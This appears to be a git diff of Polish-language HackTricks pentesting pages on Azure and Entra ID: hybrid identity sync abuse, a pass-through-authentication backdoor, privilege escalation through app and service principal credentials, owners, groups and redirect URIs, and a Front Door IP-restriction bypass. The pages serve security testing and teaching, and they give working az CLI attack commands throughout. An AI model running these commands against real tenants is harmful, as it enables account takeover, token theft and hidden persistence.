+<figure><img src="../../../../images/image (128).png" alt="https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps"><figcaption>https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps</figcaption></figure>

 ### On-prem -> chmura
 ```bash
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-hybrid-identity-misc-attack.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-hybrid-identity-misc-attack.md
@@ -0,0 +1,29 @@
+# Ataki różne dotyczące tożsamości hybrydowej
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+
+## Wymuszenie synchronizacji użytkowników Entra ID do on-prem
+
+Jak wspomniano w [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg), możliwe było zmienienie wartości **`ProxyAddress`** w użytkowniku AD w on-prem, dodając e-mail użytkownika admina Entra ID i upewniając się, że UPN użytkownika w AD i w Entra ID się zgadza (to jest Entra ID ponownie), jak **`SMTP:admin@domain.onmicrosoft.com`**. I to **wymusi synchronizację tego użytkownika** z Entra ID do on-prem AD, więc jeśli hasło użytkownika było znane, mogło być użyte do **dostępu do admina używanego w Entra ID.**
+
+Aby zsynchronizować nowego użytkownika z Entra ID do on-prem AD, wymagania są następujące:
+
+- Kontrolować atrybuty użytkownika w on-prem AD (lub mieć uprawnienia do tworzenia nowych użytkowników)
+- Znać użytkownika tylko w chmurze, aby zsynchronizować z Entra ID do on-prem AD
+- Może być również konieczne, aby móc zmienić atrybut immutableID z użytkownika Entra ID na użytkownika on-prem AD, aby wykonać **twarde dopasowanie**.
+
+
+> [!CAUTION]
+> Entra ID nie pozwala już na synchronizację adminów z Entra ID do on-prem AD.
+> Ponadto, to **nie obejdzie MFA**.
+
+
+
+## Odniesienia
+
+- [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg)
+- [https://activedirectorypro.com/sync-on-prem-ad-with-existing-azure-ad-users/](https://activedirectorypro.com/sync-on-prem-ad-with-existing-azure-ad-users/)
+- [https://www.orbid365.be/manually-match-on-premise-ad-user-to-existing-office365-user/](https://www.orbid365.be/manually-match-on-premise-ad-user-to-existing-office365-user/)
+
+{{#include ../../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-pta-pass-through-authentication.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-pta-pass-through-authentication.md
@@ -16,12 +16,12 @@ Uwierzytelnienie jest weryfikowane w lokalnym AD, a komunikacja z chmurą odbywa

 1. Aby **zalogować się**, użytkownik jest przekierowywany do **Azure AD**, gdzie wysyła **nazwę użytkownika** i **hasło**.
 2. **Dane uwierzytelniające** są **szyfrowane** i umieszczane w **kole** w Azure AD.
-3. **Lokalny agent uwierzytelniający** zbiera **dane uwierzytelniające** z kolejki i je **odszyfrowuje**. Ten agent nazywa się **"Pass-through authentication agent"** lub **agent PTA**.
+3. **Lokalny agent uwierzytelniający** zbiera **dane uwierzytelniające** z kolejki i je **odszyfrowuje**. Ten agent nazywa się **"agentem uwierzytelniania przechodniego"** lub **agentem PTA.**
 4. **Agent** **weryfikuje** dane uwierzytelniające w **lokalnym AD** i wysyła **odpowiedź** **z powrotem** do Azure AD, która, jeśli odpowiedź jest pozytywna, **kończy logowanie** użytkownika.

 > [!WARNING]
 > Jeśli atakujący **skomprymuje** **PTA**, może **zobaczyć** wszystkie **dane uwierzytelniające** z kolejki (w **czystym tekście**).\
-> Może również **zweryfikować dowolne dane uwierzytelniające** w AzureAD (podobny atak do Skeleton key).
+> Może również **zweryfikować dowolne dane uwierzytelniające** w AzureAD (podobny atak do klucza szkieletowego).

 ### Enumeracja

@@ -58,7 +58,7 @@ Get-Service -Name "AzureADConnectAuthenticationAgent"
 ```
 ## Pivoting

-Jeśli masz **admin** dostęp do **serwera Azure AD Connect** z działającym **agentem PTA**, możesz użyć modułu **AADInternals** do **wstawienia tylnej furtki**, która **zweryfikuje WSZYSTKIE hasła** wprowadzone (więc wszystkie hasła będą ważne do uwierzytelnienia):
+Jeśli masz **admin** dostęp do **serwera Azure AD Connect** z działającym **agentem PTA**, możesz użyć modułu **AADInternals**, aby **wstawić tylne drzwi**, które **zweryfikują WSZYSTKIE hasła** wprowadzone (więc wszystkie hasła będą ważne do uwierzytelnienia):
 ```bash
 Install-Module AADInternals -RequiredVersion 0.9.3
 Import-Module AADInternals
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md
@@ -1,30 +0,0 @@
-# Az- Synchronizacja nowych użytkowników
-
-{{#include ../../../../banners/hacktricks-training.md}}
-
-## Synchronizacja użytkowników AzureAD z on-prem w celu eskalacji z on-prem do AzureAD
-
-Aby zsynchronizować nowego użytkownika **z AzureAD do on-prem AD**, wymagane są następujące warunki:
-
- Użytkownik **AzureAD** musi mieć adres proxy (**skrzynkę pocztową**)
- Licencja nie jest wymagana
- Nie powinien **być już zsynchronizowany**
-```bash
-Get-MsolUser -SerachString admintest | select displayname, lastdirsynctime, proxyaddresses, lastpasswordchangetimestamp | fl
-```
-Kiedy użytkownik taki jak ten zostanie znaleziony w AzureAD, aby **uzyskać do niego dostęp z on-prem AD**, wystarczy **utworzyć nowe konto** z **proxyAddress** jako SMTP email.
-
-Automatycznie, ten użytkownik zostanie **zsynchronizowany z AzureAD do on-prem AD**.
-
-> [!CAUTION]
-> Zauważ, że aby przeprowadzić ten atak, **nie potrzebujesz uprawnień Domain Admin**, wystarczy, że masz uprawnienia do **tworzenia nowych użytkowników**.
->
-> Ponadto, to **nie obejdzie MFA**.
->
-> Co więcej, zgłoszono, że **synchronizacja kont nie jest już możliwa dla kont administratorów**.
-
-## References
-
- [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg)
-
-{{#include ../../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md
@@ -52,7 +52,7 @@ az rest --method PATCH \

 ### `microsoft.directory/applications/credentials/update`

-To pozwala atakującemu na **dodanie poświadczeń** (haseł lub certyfikatów) do istniejących aplikacji. Jeśli aplikacja ma uprzywilejowane uprawnienia, atakujący może uwierzytelnić się jako ta aplikacja i uzyskać te uprawnienia.
+To pozwala atakującemu na **dodanie poświadczeń** (haseł lub certyfikatów) do istniejących aplikacji. Jeśli aplikacja ma uprawnienia uprzywilejowane, atakujący może uwierzytelnić się jako ta aplikacja i uzyskać te uprawnienia.
 ```bash
 # Generate a new password without overwritting old ones
 az ad app credential reset --id <appId> --append
@@ -77,7 +77,7 @@ az ad app owner list --id <appId>
 ```
 ### `microsoft.directory/applications/allProperties/update`

-Atakujący może dodać URI przekierowania do aplikacji, które są używane przez użytkowników najemcy, a następnie udostępnić im adresy URL logowania, które wykorzystują nowe URI przekierowania w celu kradzieży ich tokenów. Należy zauważyć, że jeśli użytkownik był już zalogowany w aplikacji, uwierzytelnienie odbędzie się automatycznie, bez potrzeby akceptacji czegokolwiek przez użytkownika.
+Atakujący może dodać URI przekierowania do aplikacji używanych przez użytkowników najemcy, a następnie udostępnić im adresy URL logowania, które wykorzystują nowy adres URL przekierowania, aby ukraść ich tokeny. Należy zauważyć, że jeśli użytkownik był już zalogowany w aplikacji, uwierzytelnienie odbędzie się automatycznie, bez potrzeby akceptacji czegokolwiek przez użytkownika.

 Należy również zauważyć, że możliwe jest zmienienie uprawnień, o które prosi aplikacja, aby uzyskać więcej uprawnień, ale w tym przypadku użytkownik będzie musiał ponownie zaakceptować monit o wszystkie uprawnienia.
 ```bash
@@ -90,7 +90,7 @@ az ad app update --id <app-id> --web-redirect-uris "https://original.com/callbac

 ### `microsoft.directory/servicePrincipals/credentials/update`

-To pozwala atakującemu na dodanie poświadczeń do istniejących głównych usług. Jeśli główny serwis ma podwyższone uprawnienia, atakujący może przyjąć te uprawnienia.
+To pozwala atakującemu na dodanie poświadczeń do istniejących głównych usług. Jeśli główny usług ma podwyższone uprawnienia, atakujący może przyjąć te uprawnienia.
 ```bash
 az ad sp credential reset --id <sp-id> --append
 ```
@@ -98,19 +98,19 @@ az ad sp credential reset --id <sp-id> --append
 > Nowo wygenerowane hasło nie pojawi się w konsoli internetowej, więc może to być dyskretny sposób na utrzymanie trwałości w usłudze principal.\
 > Z API można je znaleźć za pomocą: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`

-Jeśli otrzymasz błąd `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."`, to dlatego, że **nie można modyfikować właściwości passwordCredentials** SP i najpierw musisz ją odblokować. W tym celu potrzebujesz uprawnienia (`microsoft.directory/applications/allProperties/update`), które pozwala na wykonanie:
+Jeśli otrzymasz błąd `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."`, to dlatego, że **nie można modyfikować właściwości passwordCredentials** SP i najpierw musisz ją odblokować. Aby to zrobić, potrzebujesz uprawnienia (`microsoft.directory/applications/allProperties/update`), które pozwala na wykonanie:
 ```bash
 az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
 ```
 ### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`

-To pozwala atakującemu na dodanie poświadczeń do istniejących głównych usług. Jeśli główny usług ma podwyższone uprawnienia, atakujący może przyjąć te uprawnienia.
+To pozwala atakującemu na dodanie poświadczeń do istniejących głównych zasad usług. Jeśli główna zasada usługi ma podwyższone uprawnienia, atakujący może przyjąć te uprawnienia.
 ```bash
 az ad sp credential reset --id <sp-id> --append
 ```
 ### `microsoft.directory/servicePrincipals/owners/update`

-Podobnie jak w przypadku aplikacji, to uprawnienie pozwala na dodanie kolejnych właścicieli do głównego obiektu usługi. Posiadanie głównego obiektu usługi umożliwia kontrolowanie jego poświadczeń i uprawnień.
+Podobnie jak w przypadku aplikacji, to uprawnienie pozwala na dodanie kolejnych właścicieli do głównego konta usługi. Posiadanie głównego konta usługi umożliwia kontrolowanie jego poświadczeń i uprawnień.
 ```bash
 # Add new owner
 spId="<spId>"
@@ -128,15 +128,15 @@ az ad sp credential reset --id <sp-id> --append
 az ad sp owner list --id <spId>
 ```
 > [!CAUTION]
-> Po dodaniu nowego właściciela, próbowałem go usunąć, ale API odpowiedziało, że metoda DELETE nie jest obsługiwana, nawet jeśli to jest metoda, której należy użyć do usunięcia właściciela. Więc **nie możesz obecnie usuwać właścicieli**.
+> Po dodaniu nowego właściciela, próbowałem go usunąć, ale API odpowiedziało, że metoda DELETE nie jest obsługiwana, nawet jeśli to metoda, której należy użyć do usunięcia właściciela. Więc **nie możesz obecnie usuwać właścicieli**.

 ### `microsoft.directory/servicePrincipals/disable` i `enable`

-Te uprawnienia pozwalają na wyłączanie i włączanie głównych usług. Atakujący mógłby wykorzystać to uprawnienie, aby włączyć główną usługę, do której mógłby jakoś uzyskać dostęp, aby eskalować uprawnienia.
+Te uprawnienia pozwalają na wyłączanie i włączanie głównych usług. Atakujący mógłby wykorzystać to uprawnienie, aby włączyć główną usługę, do której mógłby uzyskać dostęp w jakiś sposób, aby eskalować uprawnienia.

 Należy zauważyć, że w tej technice atakujący będzie potrzebował więcej uprawnień, aby przejąć włączoną główną usługę.
 ```bash
-bashCopy code# Disable
+# Disable
 az ad sp update --id <ServicePrincipalId> --account-enabled false

 # Enable
@@ -144,7 +144,7 @@ az ad sp update --id <ServicePrincipalId> --account-enabled true
 ```
 #### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials`

-Te uprawnienia pozwalają na tworzenie i uzyskiwanie poświadczeń do jednolitych logowań, co może umożliwić dostęp do aplikacji firm trzecich.
+Te uprawnienia pozwalają na tworzenie i uzyskiwanie poświadczeń dla jednolitych logowań, co może umożliwić dostęp do aplikacji firm trzecich.
 ```bash
 # Generate SSO creds for a user or a group
 spID="<spId>"
@@ -164,17 +164,25 @@ az rest --method POST \
 --headers "Content-Type=application/json" \
 --body "{\"id\": \"$credID\"}"
 ```
+### Aplikacje Podnoszenie Uprawnień
+
+**Jak wyjaśniono w [tym poście](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**, bardzo powszechne było znajdowanie domyślnych aplikacji, które mają przypisane **uprawnienia API** typu **`Application`**. Uprawnienie API (jak nazywane w konsoli Entra ID) typu **`Application`** oznacza, że aplikacja może uzyskać dostęp do API bez kontekstu użytkownika (bez logowania się użytkownika do aplikacji) i bez potrzeby posiadania ról Entra ID, które by to umożliwiały. Dlatego bardzo powszechne jest znajdowanie **aplikacji o wysokich uprawnieniach w każdym dzierżawcy Entra ID**.
+
+Jeśli atakujący ma jakiekolwiek uprawnienie/rolę, które pozwala na **aktualizację poświadczeń (sekretu lub certyfikatu) aplikacji**, atakujący może wygenerować nowe poświadczenie, a następnie użyć go do **uwierzytelnienia się jako aplikacja**, zyskując wszystkie uprawnienia, które ma aplikacja.
+
+Należy zauważyć, że wspomniany blog dzieli się niektórymi **uprawnieniami API** powszechnych domyślnych aplikacji Microsoft, jednak po pewnym czasie po tym raporcie Microsoft naprawił ten problem i obecnie nie jest już możliwe logowanie się jako aplikacje Microsoft. Niemniej jednak, nadal możliwe jest znalezienie **niestandardowych aplikacji o wysokich uprawnieniach, które mogą być nadużywane**.
+
 ---

 ## Grupy

 ### `microsoft.directory/groups/allProperties/update`

-To uprawnienie pozwala na dodawanie użytkowników do uprzywilejowanych grup, co prowadzi do eskalacji uprawnień.
+To uprawnienie pozwala na dodawanie użytkowników do uprzywilejowanych grup, co prowadzi do podnoszenia uprawnień.
 ```bash
 az ad group member add --group <GroupName> --member-id <UserId>
 ```
-**Uwaga**: To uprawnienie wyklucza przypisywalne do ról grupy Entra ID.
+**Uwaga**: To uprawnienie wyklucza grupy przypisane do ról Entra ID.

 ### `microsoft.directory/groups/owners/update`

@@ -193,7 +201,7 @@ az ad group member add --group <GroupName> --member-id <UserId>
 ```
 ### `microsoft.directory/groups/dynamicMembershipRule/update`

-To uprawnienie pozwala na aktualizację reguły członkostwa w grupie dynamicznej. Atakujący mógłby zmodyfikować reguły dynamiczne, aby dodać siebie do grup uprzywilejowanych bez wyraźnego dodania.
+To uprawnienie pozwala na aktualizację reguły członkostwa w grupie dynamicznej. Atakujący mógłby zmodyfikować reguły dynamiczne, aby dodać siebie do uprzywilejowanych grup bez wyraźnego dodania.
 ```bash
 groupId="<group-id>"
 az rest --method PATCH \
@@ -224,7 +232,7 @@ az ad user update --id <user-id> --password "kweoifuh.234"
 ```
 ### `microsoft.directory/users/basic/update`

-To uprawnienie pozwala na modyfikację właściwości użytkownika. Często można znaleźć dynamiczne grupy, które dodają użytkowników na podstawie wartości właściwości, dlatego to uprawnienie może pozwolić użytkownikowi na ustawienie wymaganej wartości właściwości, aby stać się członkiem konkretnej dynamicznej grupy i eskalować uprawnienia.
+To uprawnienie pozwala na modyfikację właściwości użytkownika. Często można spotkać dynamiczne grupy, które dodają użytkowników na podstawie wartości właściwości, dlatego to uprawnienie może pozwolić użytkownikowi na ustawienie wymaganej wartości właściwości, aby stać się członkiem konkretnej dynamicznej grupy i eskalować uprawnienia.
 ```bash
 #e.g. change manager of a user
 victimUser="<userID>"
@@ -252,7 +260,7 @@ az-conditional-access-policies-mfa-bypass.md

 ### `microsoft.directory/devices/registeredOwners/update`

-To uprawnienie pozwala atakującym na przypisanie siebie jako właścicieli urządzeń w celu uzyskania kontroli lub dostępu do ustawień i danych specyficznych dla urządzenia.
+To uprawnienie pozwala atakującym na przypisanie siebie jako właścicieli urządzeń, aby uzyskać kontrolę lub dostęp do ustawień i danych specyficznych dla urządzenia.
 ```bash
 deviceId="<deviceId>"
 userId="<userId>"
--- a/src/pentesting-cloud/azure-security/az-services/az-front-door.md
+++ b/src/pentesting-cloud/azure-security/az-services/az-front-door.md
@@ -0,0 +1,18 @@
+# Az - Udostępnianie plików
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Ominięcie RemoteAddr
+
+Ten **[post na blogu](https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass)** wyjaśnia, jak podczas konfigurowania niektórych ograniczeń sieciowych za pomocą Azure Front Door można filtrować na podstawie **`RemoteAddr`** lub **`SocketAddr`**. Główna różnica polega na tym, że **`RemoteAddr`** faktycznie używa wartości z nagłówka HTTP **`X-Forwarded-For`**, co sprawia, że ominięcie jest bardzo łatwe.
+
+Aby obejść tę regułę, można użyć narzędzi automatycznych, które **brute-force'ują adresy IP**, aż znajdą ważny.
+
+Jest to wspomniane w [dokumentacji Microsoftu](https://learn.microsoft.com/en-us/azure/web-application-firewall/afds/waf-front-door-configure-ip-restriction).
+
+
+## Odniesienia
+
+- [https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass](https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass)
+
+{{#include ../../../banners/hacktricks-training.md}}